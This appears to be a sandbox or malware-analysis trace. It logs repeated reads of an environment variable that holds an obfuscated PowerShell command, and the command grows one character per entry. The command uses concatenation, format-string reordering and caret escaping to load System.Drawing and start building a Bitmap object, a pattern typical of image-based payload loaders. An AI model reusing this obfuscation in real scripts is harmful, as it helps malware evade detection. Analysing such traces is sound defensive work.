Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing"; True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";$ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}= True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^& True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&(' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') (" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3} True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"- True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f ' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '. True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.B True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','i True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','in True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','t True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tm True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tma True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap', True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap',' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','S True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','Sy True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','Sys True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','Syst True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','Syste True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System. True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.D True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dr True 1
Fn
